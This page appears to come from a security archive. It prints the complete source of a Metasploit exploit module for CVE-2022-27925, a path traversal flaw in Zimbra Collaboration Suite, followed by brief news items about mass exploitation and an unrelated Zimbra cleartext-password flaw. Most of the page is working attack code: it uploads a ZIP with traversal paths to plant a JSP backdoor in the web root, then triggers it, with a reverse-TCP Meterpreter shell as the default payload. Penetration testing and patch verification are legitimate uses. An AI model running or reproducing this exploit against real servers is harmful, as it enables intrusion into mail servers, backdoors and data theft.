Headline
Zimbra Zip Path Traversal
This Metasploit module POSTs a ZIP file containing path traversal characters to the administrator interface for Zimbra Collaboration Suite. If successful, it plants a JSP-based backdoor within the web directory, then executes it. The core vulnerability is a path traversal issue in Zimbra Collaboration Suite’s ZIP implementation that can result in the extraction of an arbitrary file to an arbitrary location on the host. This issue is exploitable on Zimbra Collaboration Suite Network Edition versions 9.0.0 Patch 23 and below as well as Zimbra Collaboration Suite Network Edition versions 8.8.15 Patch 30 and below.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'rex/zip'class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Zip Path Traversal in Zimbra (mboximport) (CVE-2022-27925)', 'Description' => %q{ This module POSTs a ZIP file containing path traversal characters to the administrator interface for Zimbra Collaboration Suite. If successful, it plants a JSP-based backdoor within the web directory, then executes it. The core vulnerability is a path-traversal issue in Zimbra Collaboration Suite's ZIP implementation that can result in the extraction of an arbitrary file to an arbitrary location on the host. This issue is exploitable on the following versions of Zimbra: * Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (and earlier) * Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (and earlier) Note that the Open Source Edition is not affected. }, 'Author' => [ 'Volexity Threat Research', # Initial writeup "Yang_99's Nest", # PoC 'Ron Bowes', # Analysis / module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2022-27925'], ['CVE', '2022-37042'], ['URL', 'https://blog.zimbra.com/2022/03/new-zimbra-patches-9-0-0-patch-24-and-8-8-15-patch-31/'], ['URL', 'https://www.cisa.gov/uscert/ncas/alerts/aa22-228a'], ['URL', 'https://www.yang99.top/index.php/archives/82/'], ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24'], ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P31'], ], 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Zimbra Collaboration Suite', {} ] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbraAdmin/public/', 'TARGET_FILENAME' => nil, 'RPORT' => 7071, 'SSL' => true }, 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2022-05-10', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']), OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']), OptString.new('TARGET_USERNAME', [ true, 'The target user, must be valid on the Zimbra server', 'admin']), ] ) end # Generate an on-system filename using datastore options def generate_target_filename if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp') print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?') end File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp") end # Normalize the path traversal and figure out where it is relative to the web root def zimbra_get_public_path(target_filename) # Normalize the path normalized_path = Pathname.new(File.join('/opt/zimbra/log', target_filename)).cleanpath # Figure out where it is, relative to the webroot webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/') relative_path = normalized_path.relative_path_from(webroot) # Hopefully, we found a path from the webroot to the payload! if relative_path.to_s.start_with?('../') return nil end relative_path end def exploit print_status('Encoding the payload as a .jsp file') payload = Msf::Util::EXE.to_jsp(generate_payload_exe) # Create a file target_filename = generate_target_filename print_status("Target filename: #{target_filename}") # Create a zip file zip = Rex::Zip::Archive.new zip.add_file(target_filename, payload) data = zip.pack print_status('Sending POST request with ZIP file') res = send_request_cgi( 'method' => 'POST', 'uri' => "/service/extension/backup/mboximport?account-name=#{datastore['TARGET_USERNAME']}&ow=1&no-switch=1&append=1", 'data' => data ) # Check the response if res.nil? fail_with(Failure::Unreachable, "Could not connect to the target port (#{datastore['RPORT']})") elsif res.code == 404 fail_with(Failure::NotFound, 'The target path was not found, target is probably not vulnerable') elsif res.code != 401 print_warning("Unexpected response from the target (expected HTTP/401, got HTTP/#{res.code}) - exploit likely failed") end # Get the public path for triggering the vulnerability, terminate if we # can't figure it out public_filename = zimbra_get_public_path(target_filename) if public_filename.nil? fail_with(Failure::BadConfig, 'Could not determine the public web path, maybe you need to traverse further back?') end register_file_for_cleanup(target_filename) print_status("Trying to trigger the backdoor @ #{public_filename}") # Trigger the backdoor res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(public_filename) ) if res.nil? fail_with(Failure::Unreachable, 'Could not connect to trigger the payload') elsif res.code == 200 print_good('Successfully triggered the payload') elsif res.code == 404 fail_with(Failure::Unknown, "Payload was not uploaded, the server probably isn't vulnerable") else fail_with(Failure::Unknown, "Could not connect to the server to trigger the payload: HTTP/#{res.code}") end endend
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The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Thursday added two flaws to its Known Exploited Vulnerabilities Catalog, citing evidence of active exploitation. The two high-severity issues relate to weaknesses in Zimbra Collaboration, both of which could be chained to achieve unauthenticated remote code execution on affected email servers - CVE-2022-27925 (CVSS score: 7.2)
Categories: Exploits and vulnerabilities Categories: News Tags: Zimbra Tags: ZVS Tags: cve-2022-27925 Tags: web shell Tags: cve-2022-37042 Tags: authentication Tags: RCE Researchers found that a known RCE vulnerability in Zimbra Collaboration was chained with a new authentication vulnerability to drop backdoor web shells on thousands of servers (Read more...) The post Thousands of Zimbra mail servers backdoored in large scale attack appeared first on Malwarebytes Labs.
Zimbra Collaboration Open Source 8.8.15 does not encrypt the initial-login randomly created password (from the "zmprove ca" command). It is visible in cleartext on port UDP 514 (aka the syslog port).